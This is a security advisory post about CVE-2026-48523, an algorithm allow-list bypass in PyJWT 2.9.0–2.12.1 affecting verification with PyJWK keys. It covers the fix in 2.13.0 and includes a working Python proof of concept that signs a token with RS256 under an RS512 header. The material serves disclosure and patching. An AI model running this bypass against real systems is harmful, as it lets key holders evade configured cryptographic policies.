Listen to this Post
Intro:
CVE-2026-48523 is a verifier-side algorithm allow-list bypass in PyJWT versions 2.9.0 through 2.12.1. The flaw occurs when `jwt.decode()` or `jwt.decode_complete()` is called with a PyJWK key (including keys returned by PyJWKClient). Normally, a caller supplies an `algorithms` list to restrict which cryptographic algorithms are acceptable for JWT verification. PyJWT checks that the `alg` header field of the token is present in that list. However, for PyJWK keys, the library does NOT use the header algorithm to verify the signature. Instead, it uses the algorithm that was bound to the PyJWK object when it was created. The PyJWK object binds its algorithm either from the JWK’s `alg` field or from key-type defaults (e.g., an RSA JWK defaults to RS256).
An attacker who controls a registered JWK/JWKS private key can exploit this mismatch. The attacker signs a JWT with a disallowed algorithm (e.g., RS256) but places an allowed algorithm (e.g., RS512) in the JWT header. PyJWT will accept the token because the header `alg` passes the allow‑list check, but signature verification is performed using the PyJWK’s bound algorithm (RS256), which matches the actual signature. The same token is correctly rejected when verified through the normal PEM/public‑key path.
This bypass affects deployments where external parties can register their own keys, such as OAuth client assertion flows, multi‑tenant systems, or federation/ BYO‑JWKS models. The vulnerability is fixed in PyJWT 2.13.0.
DailyCVE Form:
Platform: PyJWT library
Version: 2.9.0–2.12.1
Vulnerability: algorithm allow‑list bypass
Severity: medium (CVSS 5.4)
date: 2026‑05‑28
Prediction: 2026‑05‑21 (2.13.0 release)
What Undercode Say:
Install vulnerable version
python -m pip install pyjwt==2.12.1 cryptography
Run the proof-of-concept script
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode
Generate attacker-controlled RSA key pair
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
Build PyJWK (defaults to RS256)
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))
Create token with disallowed header alg (RS512), sign with RS256
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}
header_b64 = base64url_encode(json.dumps(header, separators=(",", ":"), sort_keys=True).encode())
payload_b64 = base64url_encode(json.dumps(payload, separators=(",", ":")).encode())
signing_input = b".".join([header_b64, payload_b64])
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()
print("Token accepted with PyJWK:")
print(jwt.decode(token, jwk, algorithms=["RS512"])) bypasses allow-list
print("Token rejected with PEM:")
print(jwt.decode(token, pub_pem, algorithms=["RS512"])) raises exception
Exploit:
Attacker controls a registered JWK private key. Signs JWT with disallowed algorithm (e.g., RS256). Sets header `alg` to an allowed algorithm (e.g., RS512). PyJWT’s PyJWK path accepts the token despite the algorithm mismatch.
Protection:
Upgrade PyJWT to version 2.13.0 or later. No code changes required; the fix forces signature verification to use the header `alg` even for PyJWK keys.
Impact:
Bypass of server‑side algorithm policies (e.g., “only PS256”). Attacker can authenticate as their own principal or tenant despite violating the configured crypto policy. Does not enable token forgery without a valid signing key.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

